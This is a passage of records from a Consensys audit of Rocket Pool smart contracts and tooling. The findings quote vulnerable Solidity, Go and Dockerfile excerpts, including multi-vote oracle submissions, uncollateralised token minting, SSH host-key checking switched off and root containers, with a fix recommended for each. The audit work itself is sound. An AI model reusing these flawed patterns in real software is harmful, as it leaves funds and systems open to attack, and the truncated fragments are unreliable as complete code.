_stakingEth, _rethSupply, block.timestamp); // Check submission count & update network balances RocketNetworkPrices - a trusted node can submit multiple different results for the price at a specific block rocketpool-2.5-Tokenomics-updates/contracts/contract/network/RocketNetworkPrices.sol:L55-L67 // Get submission keys bytes32 nodeSubmissionKey = keccak256(abi.encodePacked(\"network.prices.submitted.node\", msg.sender, _block, _rplPrice)); bytes32 submissionCountKey = keccak256(abi.encodePacked(\"network.prices.submitted.count\", _block, _rplPrice)); // Check & update node submission status require(!getBool(nodeSubmissionKey), \"Duplicate submission from node\"); setBool(nodeSubmissionKey, true); setBool(keccak256(abi.encodePacked(\"network.prices.submitted.node\", msg.sender, _block)), true); // Increment submission count uint256 submissionCount = getUint(submissionCountKey).add(1); setUint(submissionCountKey, submissionCount); // Emit prices submitted event emit PricesSubmitted(msg.sender, _block, _rplPrice, block.timestamp); // Check submission count & update network prices Recommendation Only allow one vote per minipool/block. Don t give nodes the possibility to vote multiple times for different outcomes. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.20 RocketTokenNETH - Pot. discrepancy between minted tokens and deposited collateral ", "body": " Resolution This issue is obsoleted by the fact that the nETH contract was removed completely. The client provided the following statement: nETH has been removed completely. Description The nETH token is paid to node operators when minipool becomes withdrawable. nETH is supposed to be backed by ETH 1:1. However, in most cases, this will not be the case. The nETH minting and deposition of collateral happens in two different stages of a minipool. nETH is minted in the minipool state transition from Staking to Withdrawable when the trusted/oracle nodes find consensus on the fact that the minipool became withdrawable (submitWinipoolWithdrawable). rocketpool-2.5-Tokenomics-updates/contracts/contract/minipool/RocketMinipoolStatus.sol:L63-L65 if (calcBase.mul(submissionCount).div(rocketDAONodeTrusted.getMemberCount()) >= rocketDAOProtocolSettingsNetwork.getNodeConsensusThreshold()) { setMinipoolWithdrawable(_minipoolAddress, _stakingStartBalance, _stakingEndBalance); When consensus is found on the state of the minipool, nETH tokens are minted to the minipool address according to the withdrawal amount observed by the trusted/oracle nodes. At this stage, ETH backing the newly minted nETH was not yet provided. rocketpool-2.5-Tokenomics-updates/contracts/contract/minipool/RocketMinipoolStatus.sol:L80-L87 uint256 nodeAmount = getMinipoolNodeRewardAmount( minipool.getNodeFee(), userDepositBalance, minipool.getStakingStartBalance(), minipool.getStakingEndBalance() ); // Mint nETH to minipool contract if (nodeAmount > 0) { rocketTokenNETH.mint(nodeAmount, _minipoolAddress); } The minipool.receive() function receives the ETH rocketpool-2.5-Tokenomics-updates/contracts/contract/minipool/RocketMinipool.sol:L109-L112 receive() external payable { (bool success, bytes memory data) = getContractAddress(\"rocketMinipoolDelegate\").delegatecall(abi.encodeWithSignature(\"receiveValidatorBalance()\")); if (!success) { revert(getRevertMessage(data)); } and forwards it to minipooldelegate.receiveValidatorBalance rocketpool-2.5-Tokenomics-updates/contracts/contract/minipool/RocketMinipoolDelegate.sol:L227-L231 require(msg.sender == rocketDAOProtocolSettingsNetworkInterface.getSystemWithdrawalContractAddress(), \"The minipool's validator balance can only be sent by the eth1 system withdrawal contract\"); // Set validator balance withdrawn status validatorBalanceWithdrawn = true; // Process validator withdrawal for minipool rocketNetworkWithdrawal.processWithdrawal{value: msg.value}(); Which calculates the nodeAmount based on the ETH received and submits it as collateral to back the previously minted nodeAmount of nETH. rocketpool-2.5-Tokenomics-updates/contracts/contract/network/RocketNetworkWithdrawal.sol:L46-L60 uint256 totalShare = rocketMinipoolManager.getMinipoolWithdrawalTotalBalance(msg.sender); uint256 nodeShare = rocketMinipoolManager.getMinipoolWithdrawalNodeBalance(msg.sender); uint256 userShare = totalShare.sub(nodeShare); // Get withdrawal amounts based on shares uint256 nodeAmount = 0; uint256 userAmount = 0; if (totalShare > 0) { nodeAmount = msg.value.mul(nodeShare).div(totalShare); userAmount = msg.value.mul(userShare).div(totalShare); // Set withdrawal processed status rocketMinipoolManager.setMinipoolWithdrawalProcessed(msg.sender); // Transfer node balance to nETH contract if (nodeAmount > 0) { rocketTokenNETH.depositRewards{value: nodeAmount}(); } // Transfer user balance to rETH contract or deposit pool Looking at how the nodeAmount of nETH that was minted was calculated and comparing it to how nodeAmount of ETH is calculated, we can observe the following: the nodeAmount of nETH minted is an absolute number of tokens based on the rewards observed by the trusted/oracle nodes. the nodeAmount is stored in the storage and later used to calculate the collateral deposit in a later step. the nodeAmount calculated when depositing the collateral is first assumed to be a nodeShare (line 47), while it is actually an absolute number. the nodeShare is then turned into a nodeAmount relative to the ETH supplied to the contract. Due to rounding errors, this might not always exactly match the nETH minted (see https://github.com/ConsenSys/rocketpool-audit-2021-03/issues/26). The collateral calculation is based on the ETH value provided to the contract. If this value does not exactly match what was reported by the oracle/trusted nodes when minting nETH, less/more collateral will be provided. Note: excess collateral will be locked in the nETH contract as it is unaccounted for in the nETH token contract and therefore cannot be redeemed. Note: providing less collateral will go unnoticed and mess up the 1:1 nETH:ETH peg. In the worst case, there will be less nETH than ETH. Not everybody will be able to redeem their ETH. Note: keep in mind that the receive() function might be subject to gas restrictions depending on the implementation of the withdrawal contract (.call() vs. .transfer()) rocketpool-2.5-Tokenomics-updates/contracts/contract/minipool/RocketMinipoolDelegate.sol:L201-L210 uint256 nethBalance = rocketTokenNETH.balanceOf(address(this)); if (nethBalance > 0) { // Get node withdrawal address RocketNodeManagerInterface rocketNodeManager = RocketNodeManagerInterface(getContractAddress(\"rocketNodeManager\")); address nodeWithdrawalAddress = rocketNodeManager.getNodeWithdrawalAddress(nodeAddress); // Transfer require(rocketTokenNETH.transfer(nodeWithdrawalAddress, nethBalance), \"nETH balance was not successfully transferred to node operator\"); // Emit nETH withdrawn event emit NethWithdrawn(nodeWithdrawalAddress, nethBalance, block.timestamp); For reference, depositRewards (providing collateral) and mint are not connected at all, hence the risk of nETH being an undercollateralized token. rocketpool-2.5-Tokenomics-updates/contracts/contract/token/RocketTokenNETH.sol:L28-L42 function depositRewards() override external payable onlyLatestContract(\"rocketNetworkWithdrawal\", msg.sender) { // Emit ether deposited event emit EtherDeposited(msg.sender, msg.value, block.timestamp); // Mint nETH // Only accepts calls from the RocketMinipoolStatus contract function mint(uint256 _amount, address _to) override external onlyLatestContract(\"rocketMinipoolStatus\", msg.sender) { // Check amount require(_amount > 0, \"Invalid token mint amount\"); // Update balance & supply _mint(_to, _amount); // Emit tokens minted event emit TokensMinted(_to, _amount, block.timestamp); Recommendation It looks like nETH might not be needed at all, and it should be discussed if the added complexity of having a potentially out-of-sync nETH token contract is necessary and otherwise remove it from the contract system as the nodeAmount of ETH can directly be paid out to the withdrawalAddress in the receiveValidatorBalance or withdraw transitions. If nETH cannot be removed, consider minting nodeAmount of nETH directly to withdrawalAddress on withdraw instead of first minting uncollateralized tokens. This will also reduce the gas footprint of the Minipool. Ensure that the initial nodeAmount calculation matches the minted nETH and deposited to the contract as collateral (absolute amount vs. fraction). Enforce that nETH requires collateral to be provided when minting tokens. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.21 RocketMiniPoolDelegate - on destroy() leftover ETH is sent to RocketVault where it cannot be recovered ", "body": " Resolution Leftover ETH is now sent to the node operator address as expected. https://github.com/ConsenSys/rocketpool-audit-2021-03/blob/0a5f680ae0f4da0c5639a241bd1605512cba6004/rocketpool-rp3.0-updates/contracts/contract/minipool/RocketMinipoolDelegate.sol#L294 Description Examples rocketpool-2.5-Tokenomics-updates/contracts/contract/minipool/RocketMinipoolDelegate.sol:L314-L321 // Destroy the minipool function destroy() private { // Destroy minipool RocketMinipoolManagerInterface rocketMinipoolManager = RocketMinipoolManagerInterface(getContractAddress(\"rocketMinipoolManager\")); rocketMinipoolManager.destroyMinipool(); // Self destruct & send any remaining ETH to vault selfdestruct(payable(getContractAddress(\"rocketVault\"))); Recommendation Implement means to recover and reuse ETH that was forcefully sent to the contract by MiniPool instances. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.22 RocketDAO - personally identifiable member information (PII) stored on-chain ", "body": " Resolution Acknowledged with the following statement: This is by design, need them to be publicly accountable. We ll advise their node should not be running on the same machine as their email software though. Description Like a DAO user s e-mail address, PII is stored on-chain and can, therefore, be accessed by anyone. This may allow de-pseudonymize users (and correlate Ethereum addresses to user email addresses) and be used for spamming or targeted phishing campaigns putting the DAO users at risk. Examples rocketpool-go-2.5-Tokenomics/dao/trustednode/dao.go:L173-L183 // Return return MemberDetails{ Address: memberAddress, Exists: exists, ID: id, Email: email, JoinedBlock: joinedBlock, LastProposalBlock: lastProposalBlock, RPLBondAmount: rplBondAmount, UnbondedValidatorCount: unbondedValidatorCount, }, nil rocketpool-2.5-Tokenomics-updates/contracts/contract/dao/node/RocketDAONodeTrusted.sol:L110-L112 function getMemberEmail(address _nodeAddress) override public view returns (string memory) { return getString(keccak256(abi.encodePacked(daoNameSpace, \"member.email\", _nodeAddress))); Recommendation Avoid storing PII on-chain where it is readily available for anyone. ", "labels": ["Consensys", "Medium", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.23 Rocketpool CLI - Insecure SSH HostKeyCallback ", "body": " Resolution A proper host key callback function to validate the remote party s authenticity is now defined. https://github.com/ConsenSys/rocketpool-audit-2021-03/blob/0a5f680ae0f4da0c5639a241bd1605512cba6004/smartnode-1.0.0-rc1/shared/services/rocketpool/client.go#L114-L117 Description The SSH client factory returns instances that have an insecure HostKeyCallback set. This means that SSH servers public key will not be validated and thus initialize a potentially insecure connection. The function should not be used for production code. Examples smartnode-2.5-Tokenomics/shared/services/rocketpool/client.go:L87 HostKeyCallback: ssh.InsecureIgnoreHostKey(), ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.24 Deployment - Docker containers running as root ", "body": " Description By default, Docker containers run commands as the root user. This means that there is little to no resistance for an attacker who has managed to break into the container and execute commands. This effectively negates file permissions already set into the system, such as storing wallet-related information with 0600 as an attacker will most likely drop into the container as root already. Examples Missing USER instructions affect both SmartNode Dockerfiles: smartnode-2.5-Tokenomics/docker/rocketpool-dockerfile:L25-L36 # Start from ubuntu image FROM ubuntu:20.10 # Install OS dependencies RUN apt-get update && apt-get install -y ca-certificates # Copy binary COPY --from=builder /go/bin/rocketpool /go/bin/rocketpool # Container entry point ENTRYPOINT [\"/go/bin/rocketpool\"] smartnode-2.5-Tokenomics/docker/rocketpool-pow-proxy-dockerfile:L24-L35 # Start from ubuntu image FROM ubuntu:20.10 # Install OS dependencies RUN apt-get update && apt-get install -y ca-certificates # Copy binary COPY --from=builder /go/bin/rocketpool-pow-proxy /go/bin/rocketpool-pow-proxy # Container entry point ENTRYPOINT [\"/go/bin/rocketpool-pow-proxy\"] Recommendation In the Dockerfiles, create an unprivileged user and use the USER instruction to switch. Only then, the entrypoint launching the SmartNode or the POW Proxy should be defined. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.25 RocketPoolMinipool - should check for address(0x0) ", "body": " Resolution Addressed in branch rocket-pool/rocketpool@b424ca1) by changing requiring that the contract address is not Description The two implementations for getContractAddress() in Minipool/Delegate are not checking whether the requested contract s address was ever set before. If it were never set, the method would return address(0x0), which would silently make all delegatecalls succeed without executing any code. In contrast, RocketBase.getContractAddress() fails if the requested contract is not known. It should be noted that this can happen if rocketMinipoolDelegate is not set in global storage, or it was cleared afterward, or if _rocketStorageAddress points to a contract that implements a non-throwing fallback function (may not even be storage at all). Examples Missing checks rocketpool-2.5-Tokenomics-updates/contracts/contract/minipool/RocketMinipool.sol:L170-L172 function getContractAddress(string memory _contractName) private view returns (address) { return rocketStorage.getAddress(keccak256(abi.encodePacked(\"contract.address\", _contractName))); rocketpool-2.5-Tokenomics-updates/contracts/contract/minipool/RocketMinipoolDelegate.sol:L91-L93 function getContractAddress(string memory _contractName) private view returns (address) { return rocketStorage.getAddress(keccak256(abi.encodePacked(\"contract.address\", _contractName))); Checks implemented rocketpool-2.5-Tokenomics-updates/contracts/contract/RocketBase.sol:L84-L92 function getContractAddress(string memory _contractName) internal view returns (address) { // Get the current contract address address contractAddress = getAddress(keccak256(abi.encodePacked(\"contract.address\", _contractName))); // Check it require(contractAddress != address(0x0), \"Contract not found\"); // Return return contractAddress; Recommendation Similar to RocketBase.getContractAddress() require that the contract is set. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.26 RocketDAONodeTrustedAction - ambiguous event emitted in actionChallengeDecide ", "body": " Resolution Instead of emitting an event even though the challenge period has not passed yet, the function call will now revert if the challenge window has not passed yet. Description actionChallengeDecide succeeds and emits challengeSuccess=False in case the challenged node defeats the challenge. It also emits the same event if another node calls actionChallengeDecided before the refute window passed. This ambiguity may make a defeated challenge indistinguishable from a challenge that was attempted to be decided too early (unless the component listening for the event also checks the refute window). Examples rocketpool-2.5-Tokenomics-updates/contracts/contract/dao/node/RocketDAONodeTrustedActions.sol:L244-L260 // Allow the challenged member to refute the challenge at anytime. If the window has passed and the challenge node does not run this method, any member can decide the challenge and eject the absent member // Is it the node being challenged? if(_nodeAddress == msg.sender) { // Challenge is defeated, node has responded deleteUint(keccak256(abi.encodePacked(daoNameSpace, \"member.challenged.block\", _nodeAddress))); }else{ // The challenge refute window has passed, the member can be ejected now if(getUint(keccak256(abi.encodePacked(daoNameSpace, \"member.challenged.block\", _nodeAddress))).add(rocketDAONodeTrustedSettingsMembers.getChallengeWindow()) < block.number) { // Node has been challenged and failed to respond in the given window, remove them as a member and their bond is burned _memberRemove(_nodeAddress); // Challenge was successful challengeSuccess = true; // Log it emit ActionChallengeDecided(_nodeAddress, msg.sender, challengeSuccess, block.timestamp); Recommendation Avoid ambiguities when emitting events. Consider throwing an exception in the else branch if the refute window has not passed yet (minimal gas savings; it s clear that the call failed; other components can rely on the event only being emitted if there was a decision. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.27 RocketDAOProtocolProposals, RocketDAONodeTrustedProposals - unused enum ProposalType ", "body": " Resolution Addressed in branch rocket-pool/rocketpool@b424ca1) by removing the unused code. Description The enum ProposalType is defined but never used. Examples rocketpool-2.5-Tokenomics-updates/contracts/contract/dao/node/RocketDAONodeTrustedProposals.sol:L29-L35 enum ProposalType { Invite, // Invite a registered node to join the trusted node DAO Leave, // Leave the DAO Replace, // Replace a current trusted node with a new registered node, they take over their bond Kick, // Kick a member from the DAO with optional penalty applied to their RPL deposit Setting // Change a DAO setting (Quorum threshold, RPL deposit size, voting periods etc) rocketpool-2.5-Tokenomics-updates/contracts/contract/dao/protocol/RocketDAOProtocolProposals.sol:L28-L31 enum ProposalType { Setting // Change a DAO setting (Node operator min/max fees, inflation rate etc) Recommendation Remove unnecessary code. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.28 RocketDaoNodeTrusted - Unused events ", "body": " Resolution Addressed in branch rocket-pool/rocketpool@b424ca1) by removing the unused code. Description The MemberJoined MemberLeave events are not used within RocketDaoNodeTrusted. Examples rocketpool-2.5-Tokenomics-updates/contracts/contract/dao/node/RocketDAONodeTrusted.sol:L19-L23 // Events event MemberJoined(address indexed _nodeAddress, uint256 _rplBondAmount, uint256 time); event MemberLeave(address indexed _nodeAddress, uint256 _rplBondAmount, uint256 time); Recommendation Consider removing the events. Note: RocketDAONodeTrustedAction is emitting ActionJoin and ActionLeave event.s ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.29 RocketDAOProposal - expired, and defeated proposals can be canceled ", "body": " Resolution Proposals can now only be cancelled if they are pending or active. Description The method emits an event that might trigger other components to perform actions. Examples rocketpool-2.5-Tokenomics-updates/contracts/contract/dao/RocketDAOProposal.sol:L155-L159 } else { // Check the votes, was it defeated? // if (votesFor <= votesAgainst || votesFor < getVotesRequired(_proposalID)) return ProposalState.Defeated; rocketpool-2.5-Tokenomics-updates/contracts/contract/dao/RocketDAOProposal.sol:L239-L250 function cancel(address _member, uint256 _proposalID) override public onlyDAOContract(getDAO(_proposalID)) { // Firstly make sure this proposal that hasn't already been executed require(getState(_proposalID) != ProposalState.Executed, \"Proposal has already been executed\"); // Make sure this proposal hasn't already been successful require(getState(_proposalID) != ProposalState.Succeeded, \"Proposal has already succeeded\"); // Only allow the proposer to cancel require(getProposer(_proposalID) == _member, \"Proposal can only be cancelled by the proposer\"); // Set as cancelled now setBool(keccak256(abi.encodePacked(daoProposalNameSpace, \"cancelled\", _proposalID)), true); // Log it emit ProposalCancelled(_proposalID, _member, block.timestamp); Recommendation Preserve the true outcome. Do not allow to cancel proposals that are already in an end-state like canceled, expired, defeated. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.30 RocketDAOProposal - preserve the proposals correct state after expiration ", "body": " Resolution Proposals that have been defeated now will show up as such even when expired. The new default value is Description The state of proposals is resolved to give a preference to a proposal being expired over the actual result which may be defeated. The preference for a proposal s status is checked in order: cancelled? -> executed? -> expired? -> succeeded? -> pending? -> active? -> defeated (default) Examples rocketpool-2.5-Tokenomics-updates/contracts/contract/dao/RocketDAOProposal.sol:L137-L159 if (getCancelled(_proposalID)) { // Cancelled by the proposer? return ProposalState.Cancelled; // Has it been executed? } else if (getExecuted(_proposalID)) { return ProposalState.Executed; // Has it expired? } else if (block.number >= getExpires(_proposalID)) { return ProposalState.Expired; // Vote was successful, is now awaiting execution } else if (votesFor >= getVotesRequired(_proposalID)) { return ProposalState.Succeeded; // Is the proposal pending? Eg. waiting to be voted on } else if (block.number <= getStart(_proposalID)) { return ProposalState.Pending; // The proposal is active and can be voted on } else if (block.number <= getEnd(_proposalID)) { return ProposalState.Active; } else { // Check the votes, was it defeated? // if (votesFor <= votesAgainst || votesFor < getVotesRequired(_proposalID)) return ProposalState.Defeated; Recommendation consider checking for voteAgainst explicitly and return defeated instead of expired if a proposal was defeated and is queried after expiration. Preserve the actual proposal result. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.31 RocketRewardsPool - registerClaimer should check if a node is already disabled before decrementing rewards.pool.claim.interval.claimers.total.next ", "body": " Resolution In the case a submitted Description The other branch in registerClaimer does not check whether the provided _claimerAddress is already disabled (or invalid). This might lead to inconsistencies where rewards.pool.claim.interval.claimers.total.next is decremented because the caller provided an already deactivated address. This issue is flagged as minor since we have not found an exploitable version of this issue in the current codebase. However, we recommend safeguarding the implementation instead of relying on the caller to provide sane parameters. Registered Nodes cannot unregister, and Trusted Nodes are unregistered when they leave. Examples rocketpool-2.5-Tokenomics-updates/contracts/contract/rewards/RocketRewardsPool.sol:L296-L316 function registerClaimer(address _claimerAddress, bool _enabled) override external onlyClaimContract { // The name of the claiming contract string memory contractName = getContractName(msg.sender); // Record the block they are registering at uint256 registeredBlock = 0; // How many users are to be included in next interval uint256 claimersIntervalTotalUpdate = getClaimingContractUserTotalNext(contractName); // Ok register if(_enabled) { // Make sure they are not already registered require(getClaimingContractUserRegisteredBlock(contractName, _claimerAddress) == 0, \"Claimer is already registered\"); // Update block number registeredBlock = block.number; // Update the total registered claimers for next interval setUint(keccak256(abi.encodePacked(\"rewards.pool.claim.interval.claimers.total.next\", contractName)), claimersIntervalTotalUpdate.add(1)); }else{ setUint(keccak256(abi.encodePacked(\"rewards.pool.claim.interval.claimers.total.next\", contractName)), claimersIntervalTotalUpdate.sub(1)); // Save the registered block setUint(keccak256(abi.encodePacked(\"rewards.pool.claim.contract.registered.block\", contractName, _claimerAddress)), registeredBlock); Recommendation Ensure that getClaimingContractUserRegisteredBlock(contractName, _claimerAddress) returns !=0 before decrementing the .total.next. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.32 RocketNetworkPrices - Price feed update lacks block number sanity check ", "body": " Resolution Addressed in branch rocket-pool/rocketpool@b424ca1) by only allowing price submissions for blocks in the range of Description Trusted nodes submit the RPL price feed. The function is called specifying a block number and the corresponding RPL price for that block. If a DAO vote goes through for that block-price combination, it is written to storage. In the unlikely scenario that a vote confirms a very high block number such as uint(-1), all future price updates will fail due to the require check below. This issue becomes less likely the more active members the DAO has. Thus, it s considered a minor issue that mainly affects the initial bootstrapping process. Examples rocketpool-2.5-Tokenomics-updates/contracts/contract/network/RocketNetworkPrices.sol:L53-L54 // Check block require(_block > getPricesBlock(), \"Network prices for an equal or higher block are set\"); Recommendation The function s _block parameter should be checked to prevent large block numbers from being submitted. This check could, e.g., specify that node operators are only allowed to submit price updates for a maximum of x blocks ahead of block.number. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.33 RocketDepositPool - Potential gasDoS in assignDeposits ", "body": " Resolution The client acknowledges this issue. Description assignDeposits seems to be a gas heavy function, with many external calls in general, and few of them are inside the for loop itself. By default, rocketDAOProtocolSettingsDeposit.getMaximumDepositAssignments() returns 2, which is not a security concern. Through a DAO vote, the settings key deposit.assign.maximum can be set to a value that exhausts the block gas limit and effectively deactivates the deposit assignment process. rocketpool-2.5-Tokenomics-updates/contracts/contract/deposit/RocketDepositPool.sol:L115-L116 for (uint256 i = 0; i < rocketDAOProtocolSettingsDeposit.getMaximumDepositAssignments(); ++i) { // Get & check next available minipool capacity Recommendation The rocketDAOProtocolSettingsDeposit.getMaximumDepositAssignments() return value could be cached outside the loop. Additionally, a check should be added that prevents unreasonably high values. ", "labels": ["Consensys", "Minor", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.34 RocketNetworkWithdrawal - ETH dust lockup due to rounding errors ", "body": " Resolution Addressed in branch rocket-pool/rocketpool@b424ca1) by calculating Description There s a potential ETH dust lockup when processing a withdrawal due to rounding errors when performing a division. Examples rocketpool-2.5-Tokenomics-updates/contracts/contract/network/RocketNetworkWithdrawal.sol:L46-L55 uint256 totalShare = rocketMinipoolManager.getMinipoolWithdrawalTotalBalance(msg.sender); uint256 nodeShare = rocketMinipoolManager.getMinipoolWithdrawalNodeBalance(msg.sender); uint256 userShare = totalShare.sub(nodeShare); // Get withdrawal amounts based on shares uint256 nodeAmount = 0; uint256 userAmount = 0; if (totalShare > 0) { nodeAmount = msg.value.mul(nodeShare).div(totalShare); userAmount = msg.value.mul(userShare).div(totalShare); Recommendation Calculate userAmount as msg.value - nodeAmount instead. This should also save some gas. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.35 RocketAuctionManager - calcBase should be declared constant ", "body": " Resolution Addressed in branch rocket-pool/rocketpool@b424ca1) by declaring Description Declaring the same constant value calcBase multiple times as local variables to some methods in RocketAuctionManager carries the risk that if that value is ever updated, one of the value assignments might be missed. It is therefore highly recommended to reduce duplicate code and declare the value as a public constant. This way, it is clear that the same calcBase is used throughout the contract, and there is a single point of change in case it ever needs to be changed. Examples rocketpool-2.5-Tokenomics-updates/contracts/contract/auction/RocketAuctionManager.sol:L136-L139 function getLotPriceByTotalBids(uint256 _index) override public view returns (uint256) { uint256 calcBase = 1 ether; return calcBase.mul(getLotTotalBidAmount(_index)).div(getLotTotalRPLAmount(_index)); rocketpool-2.5-Tokenomics-updates/contracts/contract/auction/RocketAuctionManager.sol:L151-L154 function getLotClaimedRPLAmount(uint256 _index) override public view returns (uint256) { uint256 calcBase = 1 ether; return calcBase.mul(getLotTotalBidAmount(_index)).div(getLotCurrentPrice(_index)); rocketpool-2.5-Tokenomics-updates/contracts/contract/auction/RocketAuctionManager.sol:L173-L174 // Calculation base value uint256 calcBase = 1 ether; rocketpool-2.5-Tokenomics-updates/contracts/contract/auction/RocketAuctionManager.sol:L216-L217 uint256 bidAmount = msg.value; uint256 calcBase = 1 ether; rocketpool-2.5-Tokenomics-updates/contracts/contract/auction/RocketAuctionManager.sol:L247-L249 // Calculate RPL claim amount uint256 calcBase = 1 ether; uint256 rplAmount = calcBase.mul(bidAmount).div(currentPrice); Recommendation Consider declaring calcBase as a private const state var instead of re-declaring it with the same value in multiple, multiple functions. Constant, literal state vars are replaced in a preprocessing step and do not require significant additional gas when accessed than normal state vars. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.36 RocketDAO* - daoNamespace is missing a trailing dot; should be declared constant/immutable ", "body": " Resolution Addressed in branch rocket-pool/rocketpool@b424ca1) by adding a trailing dot to the Description string private daoNameSpace = 'dao.trustednodes' is missing a trailing dot, or else there s no separator when concatenating the namespace with the vars. Examples requests dao.trustednodesmember.index instead of dao.trustednodes.member.index rocketpool-2.5-Tokenomics-updates/contracts/contract/dao/node/RocketDAONodeTrusted.sol:L83-L86 function getMemberAt(uint256 _index) override public view returns (address) { AddressSetStorageInterface addressSetStorage = AddressSetStorageInterface(getContractAddress(\"addressSetStorage\")); return addressSetStorage.getItem(keccak256(abi.encodePacked(daoNameSpace, \"member.index\")), _index); rocketpool-2.5-Tokenomics-updates/contracts/contract/dao/node/RocketDAONodeTrustedActions.sol:L32-L33 // The namespace for any data stored in the trusted node DAO (do not change) string private daoNameSpace = 'dao.trustednodes'; rocketpool-2.5-Tokenomics-updates/contracts/contract/dao/node/RocketDAONodeTrustedProposals.sol:L22-L26 // Calculate using this as the base uint256 private calcBase = 1 ether; // The namespace for any data stored in the trusted node DAO (do not change) string private daoNameSpace = 'dao.trustednodes'; rocketpool-2.5-Tokenomics-updates/contracts/contract/dao/protocol/RocketDAOProtocol.sol:L12-L13 // The namespace for any data stored in the network DAO (do not change) string private daoNameSpace = 'dao.protocol'; Recommendation Remove the daoNameSpace and add the prefix to the respective variables directly. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.37 RocketVault - consider rejecting zero amount deposit/withdrawal requests ", "body": " Resolution Addressed in branch rp3.0-updates (rocket-pool/rocketpool@b424ca1) by requiring that ETH and tokenAmounts are not zero. Note that components that used to raise no exception when attempting to deposit/withdraw/transfer zero amount tokens/ETH may now throw which can be used to block certain functionalities (slashAmount==0). The client provided the following statement: We ll double check this. Currently the only way a slashAmount is 0 is if we allow node operators to not stake RPL (min 10% required currently). Though there isn t a check for 0 in the slash function atm, I ll add one now just as a safety check. Description Consider disallowing zero amount token transfers unless the system requires this to work. In most cases, zero amount token transfers will emit an event (that potentially triggers off-chain components). In some cases, they allow the caller without holding any balance to call back to themselves (pot. reentrancy) or the caller provided token address. depositEther allows to deposit zero ETH emits EtherDeposited withdrawEther allows to withdraw zero ETH calls back to withdrawer (msg.sender)! emits EtherWithdrawn (depositToken checks for amount >0) withdrawToken allows zero amount token withdrawals calls into user provided (actually a network contract) tokenAddress) emits TokenWithdrawn transferToken allows zero amount token transfers emits TokenTransfer Examples rocketpool-2.5-Tokenomics-updates/contracts/contract/RocketVault.sol:L50-L57 function depositEther() override external payable onlyLatestNetworkContract { // Get contract key bytes32 contractKey = keccak256(abi.encodePacked(getContractName(msg.sender))); // Update contract balance etherBalances[contractKey] = etherBalances[contractKey].add(msg.value); // Emit ether deposited event emit EtherDeposited(contractKey, msg.value, block.timestamp); Recommendation Zero amount transfers are no-operation calls in most cases and should be avoided. However, as all vault actions are authenticated (to registered system contracts), the risk of something going wrong is rather low. Nevertheless, it is recommended to deny zero amount transfers to avoid running code unnecessarily (gas consumption), emitting unnecessary events, or potentially call back to callers/token address for ineffective transfers. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.38 RocketVault - methods returning static return values and unchecked return parameters ", "body": " Resolution The unused boolean return values have been removed and reverts have been introduced instead. Description The Token* methods in RocketVault either throw or return true, but they can never return false. If the method fails, it will always throw. Therefore, it is questionable if the static return value is needed at all. Furthermore, callees are in most cases not checking the return value of Examples static return value true rocketpool-2.5-Tokenomics-updates/contracts/contract/RocketVault.sol:L93-L96 // Emit token transfer emit TokenDeposited(contractKey, _tokenAddress, _amount, block.timestamp); // Done return true; rocketpool-2.5-Tokenomics-updates/contracts/contract/RocketVault.sol:L113-L115 emit TokenWithdrawn(contractKey, _tokenAddress, _amount, block.timestamp); // Done return true; rocketpool-2.5-Tokenomics-updates/contracts/contract/RocketVault.sol:L134-L137 // Emit token withdrawn event emit TokenTransfer(contractKeyFrom, contractKeyTo, _tokenAddress, _amount, block.timestamp); // Done return true; return value not checked rocketpool-2.5-Tokenomics-updates/contracts/contract/node/RocketNodeStaking.sol:L149-L150 rocketVault.depositToken(\"rocketNodeStaking\", rplTokenAddress, _amount); // Update RPL stake amounts & node RPL staked block rocketpool-2.5-Tokenomics-updates/contracts/contract/auction/RocketAuctionManager.sol:L252-L252 rocketVault.withdrawToken(msg.sender, getContractAddress(\"rocketTokenRPL\"), rplAmount); rocketpool-2.5-Tokenomics-updates/contracts/contract/node/RocketNodeStaking.sol:L172-L172 rocketVault.withdrawToken(msg.sender, getContractAddress(\"rocketTokenRPL\"), _amount); rocketpool-2.5-Tokenomics-updates/contracts/contract/node/RocketNodeStaking.sol:L193-L193 rocketVault.transferToken(\"rocketAuctionManager\", getContractAddress(\"rocketTokenRPL\"), rplSlashAmount); Recommendation Define a clear interface for these functions. Remove the static return value in favor of having the method throw on failure (which is already the current behavior). ", "labels": 